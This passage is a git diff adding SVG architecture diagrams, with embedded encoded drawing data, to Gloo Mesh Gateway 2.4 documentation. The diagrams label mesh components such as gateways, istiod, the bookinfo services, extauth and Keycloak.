lx1MDAwMWtQilx1MDAxMP2X9M+zR5rMvXNIXFxt3VZzXHUwMDAxy6/IxTZcdTAwMDPEXVx1MDAwYtxcdTAwMTNcdTAwMGJPkcaahC/G81x1MDAxYX/JXFxcdTAwMTfaLJe/UmpUT912XHUwMDFhT7ZQ+OjwMFx1MDAxNsClmiBBZ69cdTAwMGJcdTAwMTZcYmBcdTAwMTNHK6BIXHUwMDAxwlOigFj4XHUwMDEwoVx1MDAxZNZq4T54hIhFptWMIM1cdTAwMTQ91MjXtTxcdTAwMDDv2NdcInCJ2q+xXGLe8XpcdTAwMTY+gHxcdTAwMWKDXHSKlCaUhVeSp/VJrSVcdTAwMWHXyetJalxcXHUwMDE5fFxmr4updORcdTAwMTmMKO5Qwk3XbPNKXHUwMDE2XHUwMDE5jM4pyYDGZVx1MDAxYnBcdTAwMTjxq4vq4TDTWlxyYS12d/BcdTAwMTRFXHUwMDBlI1x1MDAxMeEwsiaHKWu1XHUwMDAxsK7Faq1cdTAwMDFJY9jtd8b3j/VWPP1yLZqdu3zkMypnXHUwMDEx/WBcdTAwMDLYKlx1MDAxMVx1MDAxYlx1MDAxNlx1MDAwYpVSuXtcdTAwMWSGXHRcdTAwMDdcIsZ4jzHOv5/h40RrTjpcdTAwMTeCXGZcdTAwMTLJe/76Nlx1MDAxOPSv7sX4058wR447d6L9MSqSu3rxeqpcdTAwMGabhuRSrFBcdTAwMTGyLONJMq6ksq+Z5M3TxWNq2M9+RJ+DQVx1MDAwMTpE2yxJw8GCU0UoJYJcbrVcdTAwMTNcdTAwMGVcdTAwMGWnI7FiJuCZ/mEw9MCVpLtU4GJJXHUwMDFlgVx1MDAxMVx1MDAxMN1cblx1MDAxNXnQW2v8Mr6NZ1x1MDAwNrRfXHUwMDE1/LiOssPrw2AxqpA2XHKDwZBaXGJSlIp/XHUwMDAxi/lkPPrAUFx1MDAwNYJAwlxc/ihcdTAwMGWjXHUwMDEx4TC6QdihdrnaPKpMUIZcdTAwMDCRhjf35Gny8fXy9Tr5OOpcdTAwMTTKd5f39fR7O+rHPVx1MDAxNDmIf15zTFx1MDAwNpwlXHUwMDFjSoG9TON07Vwio/0nykhcbpsn+Vx1MDAxZeMrgoBp/H74enWHziZ13ms+XHUwMDBmTi9cdTAwMDa90tBcdTAwMWaYRiE68NDyZHa0vIc17K7yZFx1MDAwZWtcdTAwMTX+8GGXxUj6P/BzWI8g3HUsI+gke3aqXHUwMDAyVKe4/DyYXqpzg1x1MDAxNzSi2Fx1MDAxNrQuXHUwMDBm0rqKOmpLWnc7RWAxQHCm/qySWlx1MDAwM4CNlWK/cnTTrfhD3Vx1MDAxZFx1MDAwNTQugZGLXHUwMDAweG6e60NhSa1uWXOYXHUwMDA2y6xXOPnI14ZTnHwslN572Vq2krnKTdVaSeNfmIFcdTAwMDO0ZIJRfmXFzZ97UMpcdLAsXHUwMDAympOEYr1ZXHUwMDFi4i0n4HAkXHUwMDE5lpREM1x1MDAwMYckMv3a1cnksvdQSt5Pb4S4mNY2V6U7XHUwMDFh9jtcdTAwMDHnXHUwMDEwd+172Fx1MDAwM1x1MDAxYXZcdTAwMTlm9X/gXHUwMDFlMauU9qhcdTAwMWKptMKYqPAnXHUwMDFlwetcdTAwMTldyEqDtKPQXHUwMDBl35J23Fx1MDAwZWTllMDGiD8q/Vx1MDAwNlx1MDAxMODRuDlsXHUwMDFjnXfeu/6NjXdcdTAwMDVal1x1MDAwML5F0Low0/VhK1hSNtZcdTAwMDTUipRcdTAwMTIr5I1Xz2R6XHUwMDFjXHUwMDFm6vv+Tbo3md6cXHUwMDE0psLWnS4yXHUwMDBlXFxcIlx1MDAxZPyLK11tq2dsyZiJryZISqKZIHSzYJ3tti6QXHUwMDFjMaWp3l9nkSCld1tRXHUwMDA1naynq5e9OqlUe5nk7ftFdNHloTlwd7S8O1x1MDAxYfZBZ7Wi6u7l9fmyX1fj2OhtbCmDv9IqZJrouC1cdTAwMWJP9y/3V7l30TpcdTAwMTbVRmtcdTAwMGLj3qGyrFx1MDAxN1H/XHUwMDAyP1xm74uJXHUwMDE4SuC3zlx1MDAxNsZcdTAwMTUnIz3J3ORq7cJcdTAwMDdcdTAwMWRcdTAwMTVj+q1xwrcwbmKUPc/dxFx1MDAxZS6fT8SkSj7kS/PSsm3/Yio7lGGXwXf/XHUwMDA37lx1MDAxMb4rZfc4I0WoUZzh4XvwekZcdTAwMTe+k1x1MDAwMJjAlYNDwYQvauKgJVx1MDAxNkrwXHUwMDFkpu5GXHUwMDEwvSda3e5RpjpofLnHeVx07l1cdTAwMDTv81x1MDAxM91cdTAwMDC7M6vLWTNOXHUwMDAxvKtcdTAwMTWCnESvnunU4qfTbmFy2SxeTVpvXHUwMDEzXHUwMDBiW1x1MDAxZVx1MDAwNHbnRMOblCNu+j7wXHUwMDFkZbKs53BGmjCw9mU0sXv8Ma6oyFx1MDAxNV8rZ82n6b3MXHSSL26uSL+x+06X97CG3VnwxUGtwqFcZrs0SsL3gXuErDogSIJIXCIpXHUwMDE2K/Q8XG5ez4OErJxcdEeE0Y5fhFilVFx1MDAxNFx1MDAxM/VHuZtTg2Gz++VgdVx00FtcdTAwMDSrn5NcXItcdTAwMTGVtFZ8UlhRxalcdTAwMGVvOp7m3l/w+Uf8XHUwMDA0Np2knzBcdTAwMWGdqFx1MDAwMzj54cj5zYVELFx1MDAwNishXHUwMDFh7uRn02AlV2Lubz6k3nRcdTAwMTfEmMZcdTAwMTRFXHUwMDE0mj68Zc+L+cZTJpWrd4X6QJPCyzRcdTAwMWNs2ERcdTAwMDf58nnoqk+X1Xq148/krlx1MDAwNImvXHT3/zmX9ZQqtyeuXHUwMDAx6SpQulwiPDM/5PDgvFu8yWdcdTAwMWaL49fHbDHRbUW/eoJkxDHtp0w1XHUwMDFkQuaVKlx1MDAwMf50c/ruXHUwMDAyXHUwMDBmpU/yqVx1MDAxZi9zRFx1MDAwNaZ6f3W/g3i59lJcdTAwMWK8dF/vxJC9XHUwMDE3Lmmym0dxSyn96PDyWas5tyP75OWfc1x05GV7pTZGrNysTHUypWn4PPLgvYyk90hLXHUwMDEzryi0lIJTtlBcdTAwMDZcdTAwMDVheI9cdTAwMGJlgiAklUE9QTc5+CWm7I2QmmOMXHRWLonxWZjRwdL4lLHSJkRRe7icIJi+KSXxL2mjZauJXHUwMDE2rC+O3M2yTPtLpbnUgC+xiS5y3fWzXHUwMDE3XHUwMDFmc4gggiolpMKmLsnPOyyF2lx1MDAwZbau0rGdxszloa7P8f5y/1xcXHUwMDE1Klx1MDAxMGHNv5VcdTAwMTIwMFx1MDAwZm98J6tcdTAwMTcqL29cdTAwMWHTi/xNq5SaPufLp+P1cII1XHUwMDE4ulJcdTAwMWM0qlsus1x1MDAwNCTGXHUwMDA0omZ94XWxVJpiXHUwMDBlglx1MDAxNTdcdFx1MDAxYlx1MDAxNFxm8F15p33yb72VXoEyXHUwMDAwrpBcdTAwMWRC/q/Lv1xyrciLo2FcdTAwMDNcdTAwMTTqtPpPZ9ioXHUwMDFl9atvo+rAX7F/eTlWy9xcdTAwMDI5cclJXHUwMDExs7EjZlx1MDAxY/Sbkjw8cs+WMne52Fx1MDAxMzqPX02eXHUwMDFm8/3XXHUwMDE33XuKuLLHUjv6k1x1MDAxZOfVPaUmn2hr7Ljd7Fx1MDAwNKZcdTAwMTBcdTAwMTIgo6OZnKBcdTAwMWFcdTAwMTdZ8lxceW6op9T0oVa4XHUwMDFmsOSrP4j/PitafdxcdTAwMWQt7/ewOzyC2lWU12Gt7qFcZrvsaMv/gZ/Delx1MDAwNOzuXHUwMDEzgIn9bGvWvVx1MDAwM67w8Dp4QaPqhjP4OUCdc+LwbanzraRTKKBcdTAwMDCt5Vx1MDAxZZX4XHUwMDFlzrcuqpNyq1t89Vx1MDAwNdU7a79cdTAwMTdcZk5cdTAwMTeh9u85XHUwMDA28mKAXHUwMDE3zVxurCXGmislw6dPjNi4Mnm+eWW343g/e90+ezvLdqNv6Vx1MDAxMobtvEgoZ3O8KDfhRXuhKeTDh8rb04RyzJSAfTlQUzekr1xmXHUwMDE3k+nTq1x1MDAxOLs+q1RT5IXmWO8s5tJu7v5cdTAwMDGYgHUomDnR4IK4XG6nXHUwMDFk/XKWUVx1MDAwNymkpNZmglhR+vNcdTAwMDaLr8w2qcFcdTAwMDfFXHUwMDE3tWL5XHUwMDBly1E9Kcbv5WuXI2d+UoSaNlxusFmEwNZcdTAwMTJcdTAwMWZcdTAwMDdcdTAwMWVZOqk13HSLjP6lnjpB/jP3q1j6XHTs3iz4XZGlXHUwMDFmcTHK7HeqPj/yl/vn6qKQW2GJqUrCKNLho1GleFXpt4fcvS7m9cOTjMVf2snIi0KlMVx1MDAwZlx1MDAxMoVcdTAwMDJ9gSiUfpBEc+lo1+Uq9/er35owneF2XHUwMDE5gVx1MDAxM1x0yVx1MDAxOFpcYplusoxLMZOOXHUwMDE05IyPXGaijqtcdTAwMTeGXHUwMDA0kFx1MDAxNyxcdTAwMThcdTAwMGb3XHUwMDEwgfE5qVx1MDAwMZS87CNcdTAwMTTNPcJDfytKXHUwMDFka3iRsKavXHUwMDEyXHUwMDA1XHUwMDAyR1x1MDAwMk2HXHUwMDE2OpcjieRl4lx1MDAxYVx1MDAwNq1ePmSrjD+MclE3hVx1MDAxNJfIoZIxrqgkhC+EJGCQSFx1MDAwNCHCNaNcdTAwMDaR2lvKYSVYMbjhVKApRPzaynmDXHUwMDEygJew4O5cdTAwMWV0h2tcdK3a9+1o3O2/2tu+fXlcdTAwMDCBd1rrqX6gMnv7caGIaYPAwvPhe6vIPmpJys9cdTAwMDbX9GP0fEJcbomyhVx1MDAwZiNyvqCEJFx1MDAwZSh1QFx1MDAwMCDq6EKtXSArXHUwMDA3a1xyeoRRXHUwMDEzkmNX/CGY0Fx1MDAxYU0guCO56fWuQVx1MDAxMmCmfcpbY0RcdTAwMWRcdTAwMDJ3gNCg8CSOPDiAUqkwdkO1g4ZcdTAwMDH2Tkk2gDBttcpcdTAwMGbNWP2+1H6e1PPlbOpucutcdTAwMGZcdTAwMTCoXHUwMDE2XHUwMDAyRKpUhMG+alfLol9cdTAwMDBcdTAwMDE7SmnJiTaxJLD/v9TeRkbK3mCAlcDM5SWtkCr+XHUwMDA3z1x1MDAwN7eTtomgXHUwMDFmTcmQcKgtvpYgJVxcoJu74lx1MDAxMn5cdTAwMDNmpJxcdTAwMWZ9JGav0ufMnINcdTAwMTb9vENxXHUwMDExIFx1MDAwZbaB5bdi32wg5HbM879sXHUwMDBlXHRcdTAwMWIjXHUwMDA0V1x1MDAxZVxm91x1MDAwM75ZVYqBdlqSUK61Rfkyxz3rSJgth+ewuVx1MDAwZsB3cj7JXGZel1x1MDAwZUD0XHUwMDAy9VL3eJRcdTAwMTLHNVx1MDAxYVF06YCgqlx1MDAxZNdcZqica6/o4YSl41nZy1xcjFq/r4euQorK5VwiPvVYvyo9N9tx0lx1MDAxZSfUSJXLXHUwMDE3TeQn4k3LT45cdTAwMTDjQlwiTiRTkrlcdTAwMTbjp5DXXHUwMDBlYVJRREDAc0NFXHUwMDFlXHUwMDE5XHUwMDFmSu9cdTAwMDS34Z7TO0wxsGw4RXxW4JQwz5ykw4XWsHem+LhUyNvxc1x1MDAxZK3yQ3z/9XNP/i72erkhsM/vL/X3e7M6PrVcdTAwMDdE/PVzXHUwMDAyRrxVzVf5n//963//P6lZo3QifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientauthorizethe requestKeycloakhttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg new file mode 100644 index 0000000000..a4287e3dea --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVdcItuy7vv6XHUwMDE1jjqvm7yzb86botJcYlwi2CDcdVx1MDAwN4NOWulcdTAwMDXxjPPfb0yqSlx1MDAxMshMkk6TKnLvjbtcdTAwMDQjJzNnRHzR/88/Z2c/RtNe9cd/n/2ovpeL7UZlUJz8+I/5/bg6XHUwMDE4NrpcdTAwMWR4i8z+Pey+XHLKs0/WR6Pe8L//z/8p9nrW/K+scvf1519W29XXamc0hM/+X/j32dn/zF5t91x1MDAxYVTLo2Kn1q7O/mD21vx2UrHl3952O7NbY1wiXHUwMDE1XHUwMDE3XHUwMDFjXHT6+YnG8Fx1MDAxMu43qlbg7Zdie1idv2N+9UOOlZg+15+6OpMp4Fx1MDAwNOKVbjQ9v+1Lo92+XHUwMDFmTds/v1ixXFx/XHUwMDFi2Fx1MDAxNjVcdTAwMWNccrqtarZRXHUwMDE51c3dl37/+XfDLmzB/K9cdTAwMDbdt1q9U1x1MDAxZJpcckCfv+32iuXGaGrooPlvf+6C/XPv8C8lKLOI4lx1MDAxMrPZ6+eb5s8p5lx1MDAxNmNcXHNNXHUwMDE0IYTxpWWFu+3uwCzrv5jmiMv5wkrFcqtcdTAwMDar61TmnyFElapi/pnJry9cdTAwMGKUrV93N69CzW9TrzZq9ZH5jMLWfJHwOn8sw+rsiVx1MDAxMKRcYsJcZsn5O2ZcdTAwMDG9WGV+On7SVJdcdTAwMGbZVJM+Xby1efymXHUwMDFmKTTuXHUwMDFlfvx6//8tb3y9OOj92uBcdTAwMWaz72P7juafV8sn0H5cbm2H4yMzvVx1MDAxZSTDscwoXHUwMDFhylxya9ejyeT5+pPWwpEtXHUwMDBlXHUwMDA23cmPz3f+9z9edMOVdGHwkuj3WDzRSyanLTp8XHUwMDE2/uiufOW3XqX483hjwbRQWDKk9JxF2o1OXHUwMDBi3uy8tdvz33XLrTlH/GNb8GasqIQ7K1wihblcdTAwMTbwdH2z4qhcdTAwMWV/nZy/J6bRSWHQXHUwMDFjtsLjq2v0dayIt2RFRiwmXHUwMDA11si8KrnIi0xYXHUwMDFjK42I0JgxXHUwMDBmXkRKvvCSNy9iUlLKiVx1MDAxN5GyiO1iwoFcdTAwMTeJsLT9Ysu8qFxmXHUwMDFmckTxwVhxaP6xJSuW0336kruOZmqVay3uXHUwMDFlnlx1MDAxMiyR2lx1MDAwMyuGUlx1MDAxMZlpIZJcdTAwMWZWwq1SXHUwMDFjRd/wOHyMrMilOytKKVx1MDAxNNHcNycmXHUwMDEzN4NO47w4vH9cYkXbpVqnXcf3gedEJZFFQftLPXtdUYqSYUyYxlRcYkFcdTAwMGWiXHUwMDE0MSFogcuUk1JcXOE8zFx1MDAwNUJcdTAwMTRcdTAwMTEtXHUwMDBmxnq7aMFG8/E5fkGT43ohXHUwMDFlXHUwMDFmplx1MDAxYrnq5KO9XHUwMDA31ruU3YzMX3VahWaqXHUwMDEw4sOXV6L0MbKeXHLXLLGeklJLwpT2zXrtx+tRt3s9fmrpWnSQZtcvnUjgWU9jie2sp1x1MDAxNnmPKZ+89/1KXHUwMDEwOFFcdFx1MDAwMKv6YJz4TUowUFx1MDAxYyNcdHbjXHUwMDE4glxioYT6Z5hoTvVcdTAwMWZvxrXKezzWyYWRvKZcdTAwMGYy8Fxmw7G2XHUwMDAwakkmZq9kgWFAXGZaxFx1MDAxZsPMLk+GXHUwMDE5XHKKnWGvOIDztco0SstFhljlXHUwMDE5pYglbFx1MDAxN19mXHUwMDE54DUpMcfBNOFE7e2ynn16zzWL/VhcdTAwMGVcdTAwMTcuXHUwMDBihXO1XHUwMDA35TUsPupcdTAwMTRuNzIvLJW+eFx1MDAxMDR1S/t7oLuDyVx1MDAxOShcdTAwMTbn1Fx1MDAxZI9cdTAwMTKqqKZcXErfTF7JVNPtSmR4XHUwMDFkvyhcZq9QXGKfd0Qt6ExcdTAwMGWQnFx1MDAwN4LJXHUwMDE1Xc/keJmtNaegyJn6PkxcdTAwMWGMg6yocD3ImGFOtNhAWyVvy0mRmk7L70J86M6LeJ1e3Vx1MDAwNv4gKy0s5WZZMXY86Fx1MDAwZWnG4UhcdTAwMWZOVVx1MDAwNdHF8aeoXHUwMDE0IVxc7SymXHUwMDE5UVxiU/9cdTAwMWGldnfxOHh8eU8+1FqXd7XndknEU1/HiNv6/fFMoygkkVx1MDAxMEov2lmCYoszIVx1MDAxMFfwtpaHcfxjKdhcdTAwMDKb0VVOpDZcdTAwMWTz28eBXHUwMDA00lx1MDAwNFPKXHUwMDBmxnu7wMSb+E08d1x1MDAxMZaF5nu+2UuGp1x1MDAwM8GujpBHOOduPKI4xYIq5p9HknX6RC7yuYvk9UDmapnrt4tBNujKSlx1MDAwM650R12CK7+oa1x1MDAwN20lXHUwMDExWoe4MFlBXFxCY1x1MDAwMiqWnHxcdTAwMGZcdTAwMDfVXCLUNWYlpYmBKOY/ZJVcdTAwMTaYVlqj2kRXLiOp27tkf3j7cFx1MDAwNFx1MDAxY6LcOVx1MDAwNFx1MDAwZaBcdTAwMDVcdTAwMDaaQlx1MDAxY1x1MDAxOElcdTAwMTJcdTAwMWL+3zOHOFx1MDAwMDhcdTAwMDB5yH6txIux1lgrzlx1MDAwMlx1MDAxYaRK1sehRDjZqIYuXHUwMDFmi1x1MDAxZrX3RCHRXHUwMDFmXHUwMDFlIY9w6WrzXHUwMDAwemb+syvqtFCeZuSlTlx1MDAwZlx1MDAxMyn2Uq6nXHUwMDEyaeHCXHUwMDFmS+d8kTvY13FcdTAwMDfWzJ07qFx1MDAxMj6tXHUwMDFkJUhVl725o1RlpUrJXHUwMDAxY1x1MDAwMcRyYYRPZuGrXHUwMDEwXHUwMDBiTFx1MDAxYoZcdTAwMDBnXHUwMDA1kzkuXHUwMDFhyUTkgZGOjpWKrWjuLl3UXWfmXHUwMDE4Vd9Hfq1cdTAwMWI5apSG1Vx1MDAwZkXiz4328+tLqPpM2Vx1MDAxZaymq0I6jJMsPumWkvjueaRvou/3e6BbXHUwMDFll1wi8rJz0Xxo0HtcdTAwMTWdPjTDV6U90D3Q9p7IXHUwMDFhXHUwMDBienh+TlLTiyd1UcelVu0pVbjHwX1mydbNy+1r+uNjejM5r7zmOvSug3Za7sIq/uP3i3yfdltYpz/FRlx1MDAxMKdKS+Q/S8L76Vx1MDAwNVx1MDAxNfxcdTAwMDGE8lBvXHUwMDA2/PlSby+za3unNCirVZ3G5lx1MDAwZY3fOk1cdTAwMTHGXHRX8vuMon1cdTAwMWXa+eHodkb3jY+fXHUwMDA3b+G318XXRnu68Hxnp9kkYnRqXHUwMDAzWPTZv51cdTAwMWGsY1Kc2rd/WIXbz1x1MDAxMNriXHUwMDFmnrdcdTAwMWK1zkzxwFx1MDAxN6pcdTAwMGVcdTAwMTa4YtQoXHUwMDE3259cdTAwMWZ4bVQqdjxYhtVcdTAwMTSB5iDmXHUwMDA3y3VcdTAwMDeNWqNTbD8sLfb3UrdHo1x1MDAwMrv6NDBXWFOklH+nxl0jme5/vIc77dFI9oudu+iNdHNqXHUwMDA0XHUwMDA3klx1MDAxMneeZYpcdTAwMDRcdTAwMTeSXHUwMDEyathcdTAwMDSpYEJSXe9f3vP2/aCPXHUwMDBik3YjeZkvjt5OkHRfkPRA23sgsvipU1x1MDAxNuWnQqlZzYbReSR9gSa3f90uXHUwMDFjXHUwMDBi2XWI1PmGwUOkgrnnSWBBiDZBV9/KzXubg1x1MDAwYkk9PPZM+fXYf1x1MDAxMSQliDGT0v99QeTgINJqcTiaVIejb4Kka7DcMiT9XFzt7phUIXe21aZcdTAwMWWK2Vx1MDAwZsjaylx1MDAxN1x1MDAxMitexCOT24/qy6TWTmVCsfx4XHUwMDFiTPqVdS9cdTAwMDBcYsEuo1xiMLi0p67//HtcdTAwMTNn00IoxIQmxJZPu0V2075BqYano6RcbqifNJMqXtW60e6oX4/IcTvLXHUwMDBi9cTNXHSU7lx1MDAwYpRcdTAwMWVoe4+LbFx1MDAxODVcdTAwMWZcdTAwMTTX6U4jP1x1MDAwZVfuu7m3i8zktLlcdTAwMDElu1x1MDAwZes63zB4WFdx17R/ylx1MDAxMFx1MDAwMVx1MDAxY4j960zvXVx1MDAwZSjUXHUwMDA1ram9tKbklpxrTaKWXHUwMDE2dmCsS1Yr05RQVEqCXHUwMDBll1x1MDAwNXw8YLcxXHUwMDFjNbpcdTAwMTVHgIvlwqf3XHUwMDA2cNdcdTAwMDDDXHUwMDE1n+vPXHUwMDE17lx1MDAwMGuxa4olXHUwMDA2VGtcdTAwMWOt/pNjdHxQXHUwMDE5JqIjXFzQr/fDp8Hje4SVgo1qNUHaXCKcwumaveIl/lx1MDAxNNhiSEpcctyLKKU75ey7Z1huhWq5gFx1MDAwNTPEglx0alPo4ryJXHUwMDFhtfxccnl6REROabPtUkN6XHUwMDAytZvTPdD2XHUwMDFliOyTTmtF1UOzlU9cZmpqcvnWnzT3sFx1MDAwYslcdTAwMDZcbr3Keu6x+Xh7P1x1MDAxNu2QqNb3Uaj8gMqyVkSDXHUwMDFi/DR6LEYuUVx1MDAwNPc7e6B7z25Dw0mt1E3etVx1MDAxM8nQa+ElS1x1MDAxMnug+9FcYvNcXCWmiySTUWxcdTAwMTjrXHUwMDE20lx1MDAwZpd/3Sk7XHUwMDE2suvQvfNccudkV0T3d6F75o5cdTAwMWQoVppcboH9h2m9tzmg8F5cdTAwMTPMPOGDsPRcdTAwMWM+LFx1MDAwN5C/PrlcdTAwMDLsLc5cdTAwMTklJ3R/9iPS7nbPktVh/ezfTrG2sK1f4Mleg5WXgf58sT+Xulx1MDAxNcNcbtuJWEmGUnCWXHUwMDEx1/4rXHUwMDFis29ccpK5bl+95uXl7bjUuk2WasWgMyxGjEtLUFx1MDAwNsDfvNoyTVxmXHUwMDAxzojFXHSYwCZriirk7sVcdTAwMDZDmVx1MDAxNb1z4T05lnCHVjG2ytPfXHUwMDFjKzAjfKFEIUgoP1iVho7yQC381kNcdTAwMWWUut1Wo/PSPZt0XHUwMDA3LXhu5aqjQCB84S/9XHUwMDBihFG35yZcclx1MDAxNr7TMus7rMuT+39utFx1MDAwM/tjjF0rYSjihC5kkq9jf+9HXHUwMDFmSGNcdTAwMWaYn2rD/IxpLbRE8+2YMT/HXHUwMDE2iFx1MDAwNYokl6atpLu69sH87sY+2O1cdTAwMTZBnCGpJNe2qrC5W05bSCsmYVx0XGJcdTAwMDP3I5vb4ZftXHUwMDBm3KHIXHUwMDAxi2K+slTfto7iYHTR6FRcdTAwMWGdXHUwMDFhvDmXN787iP5Und5ccmBmjF5+m9XcWlRcdTAwMDL4YohjXCKFkLZcblmzZcWe2WtiXHRAm4hqKrUgVPz6wCd4/1HtVNavybvM37YmbMEhJIRyXGZ6RlxuMu+JYV9cdTAwMTKjXHUwMDAyUUkkJkrCWVlZU7s4XHUwMDFjhbuvr41cdTAwMTFs/V230Vx1MDAxOS1v8Wwvz40oqFeLKzJcdTAwMDa+k/29ZZnRM1x1MDAxNFx1MDAxN8/S/P+dzblq9o/P/////uP46ZDriTfX6lmf0/vH/nPjzG9Cln87XHUwMDA3O0zB/nPtX9o9XVx1MDAwZiPpxFx1MDAwYi9kmuX0XHUwMDFiivYznddJ4KWd8MhcIlx1MDAxNVx1MDAxYe2xjYNr11jmXHUwMDAwc+SKPDNccvGIQPZmQ3+ERNtcdIiEXlx1MDAwNvBBYNXhv51O8bXqjknEtkbKrpjEeYnb8atwrdRcdTAwMDBtXHUwMDBi0pBy/7HC3NV58jr1Ulx1MDAxZcmrq5TOt3t3g2g98OwqscXd2FVcdLrHOnZXdqVcdTAwMGWV66vsqlx1MDAxOeVcZlx1MDAxZjJIuEtrh2BcdTAwMTXl7klcdTAwMTaYp1x1MDAxOGxR4LTC7VxmXHUwMDE1e1x1MDAxYtVlx1wiwDhMleL+q7a8+1x1MDAxOFx1MDAwNFVcdTAwMTZcYmlhrmatXVx1MDAxNF3q+1wiKbVcdTAwMTQjYFx1MDAwMSiMXHUwMDA0t3dZ36MswFJYXFxrplx1MDAwMb4xJm1cdTAwMTU3n5JcdTAwMDGBSEJIczClXHUwMDA0SC9gjFVcdTAwMDeGYmB0XHT6jd1cdTAwMDK/wlZZRtc+LFx1MDAwNs9eK1x1MDAwYlZcZlhcdTAwMGLC9Fx1MDAwMIKnSYi9Q8OnyYCN20pSwTDAa1x0ZoU+cpPB7ezN3nU4dlx1MDAxYlx1MDAxYVxy7j5cdTAwMTLq0eFeIWZGLGzgJPFWRYGVPcKiXHUwMDE0M01cdTAwMTVfbjllXHUwMDFhw8EvNeNcdTAwMDKejp3dXHUwMDBmKHmIQz5cdTAwMDSyNKFgTYJ5XGbrlYivpDIxKamBUocrJFxyguBxXHUwMDEzL95cYnhBvCCNsFx1MDAxNpJj04dX4Hnl7ad4MeY7XCJcdTAwMWNEXHUwMDBiMS5cdTAwMGJEV6SLL5Hn3TxncU1Ea2ByXHUwMDAxz5dcImD2VcdccsaW/FxcXHUwMDE016BcdTAwMDf/LJE3P/Szv1857lx1MDAxYko891x1MDAxNE20/Nt5XHUwMDEwXHUwMDE3YVx1MDAwNNaIf7Pr/E3VI/1eKEqeX1Umn+5k68NW8ENCXHUwMDE0wJZWYNCI2euiV5gwbmFNOSAxIUyaprvM2zkmJP3GhIxgxvL7orif93Awv4LV5X838+tX3dAwaDEhh3Vth3dcdTAwMDDMeHS7XHUwMDA1nWBEjn+84/3sXHUwMDAzincoZ5bxyUumOIjfxVx1MDAxNG0z0oozaVK0kdZcdTAwMDK599jcJShEXHUwMDE4teA9Y84xiYCQw3AtQS1GiOZYUXhqq/2bMYY1KnzIVmlBXHUwMDA2PN66Z1x1MDAwMVxcUKNlYZtNU1Vi+8QvYEEtXHUwMDBlm1xmwIJoLMTcuNg0JOQ5U2dhQVhiUzvH4aBRJW0qZr4obSlcbv9hyvS9RYSwlUVcdTAwMWRcdTAwMTXacT/w5lo+6lx1MDAxYmJcdTAwMWTvVnc2XHUwMDBm2XJcdTAwMTCcM0qNXHUwMDFi1re8K3RcdTAwMWHx9PVj4a51w6M8kjp/f0+6XHJcdTAwMTNcZkpvXHUwMDExwFx1MDAwZVx1MDAxZVEhxS2m99VbZDmtbdfeXCJcbmmqXHUwMDBm6EnaXHUwMDA19lxcv/RcdTAwMTOP+lx1MDAxOb2JJ373LPLTp0TDJVx1MDAwNzdcYlx071x1MDAxN/VhW/ZcdTAwMWH5RF5cXODioNBLZ+vve6CbeFx0R15uy5VQ8aV5+SaHvDq8v9hcdTAwMDPdXHUwMDAzbe+J7CHIrstwdr7hQe1cdTAwMDBPheFcdTAwMWGTpK45XHUwMDA0mFx1MDAxMkE1aG3/XHST3ttcdTAwMWNQ61ibwKN772BELL0vdbEuw3mtylgtZ1x1MDAxNJgrg1wivi97Mjj5zr1Bt/JWXHUwMDFl9Yo1ZyP2UCWNazDSsmlrX+ZcdTAwMGUoz5bIvDqNSHJiUsJ8c+6DeCtXqtfj3PtTpVRcdTAwMWJev3beU1uFXHUwMDEwv1x1MDAxMOZcdK+uxlx1MDAwMKT2x7f7hnlCcjDQaDC9W+HbUJaiu4d8efJYzffPpei6dYbdqD/DYchcdTAwMWVcdTAwMWJ6XHUwMDFjVOLFRqU25JVxKtspvuRiJJzbXHUwMDAz3eN6an852XXo0fmGXHUwMDAxRI/atY0pIVJotEEg2XuTg4pcdTAwMWSFV+thReT+XFxcclv0vliZa8lcdTAwMTCjXGLDik5g8UelXG5cdTAwMTCuPXRcdTAwMDaKauHje1x1MDAwM4prUNYyUPy9xO1BouDusVx1MDAwZlx0Vlx1MDAwM1x1MDAxY9pcckZfqFwijeaeSXQkS1FcdTAwMWNcdTAwMTVq+JqfXHUwMDA231x1MDAxN+hcdTAwMDFcdTAwMTI14cFcdTAwMDWJSlJhZlx1MDAxM1x1MDAxZS5hfFx1MDAxN5R4TotPsjxcdTAwMWS/s36KXFzT+qB+3s/vrmqPi+yhwNyBlvvC+53yLe+FW2NcdTAwMTSN9aP55E0swMv9y8muXHUwMDAzic43XGZcdTAwMWVIXHUwMDE03N1RoTlCUiPm38Xovc1BhYmKe8BEzei3wsTVXHUwMDE2aYiauSGHXHUwMDFjbHk8OHFQXHUwMDFjNTo1XHUwMDE3nHggh+JcdTAwMWGgtYxcdTAwMTN/L3FcdTAwMTec6Fx1MDAxYTLGXHUwMDAyc1x1MDAwM1x1MDAxM7X/eoRcdTAwMDedvb1PNy5cdTAwMTO90lMtr9+vU7HMY7BxXCJ8giBcdTAwMGZLXHUwMDBlo1x1MDAwMFx1MDAwM0XFpcBBjVx1MDAxYYdcIlRcdTAwMTaq6Hxwr8lzvnlbyPeliyNtXHUwMDEzdXtcXGRcdTAwMGZcdTAwMTUzPtByXHUwMDBmXHUwMDA1XHUwMDE0j+uhXHUwMDFkXHUwMDBi2XVA0fmGQVx1MDAwNIruRXGEUo0421x1MDAwMCh6b3NAgaJRQ9zLoaiC5VCUglFkXHUwMDFmXHUwMDA2/Vx1MDAxN+PE6rhRnXyxP9FcdTAwMWJoreDEX0v05E73wjHmVUihkebw6p8/vVx1MDAwM2xcdTAwMWLx5zJcdT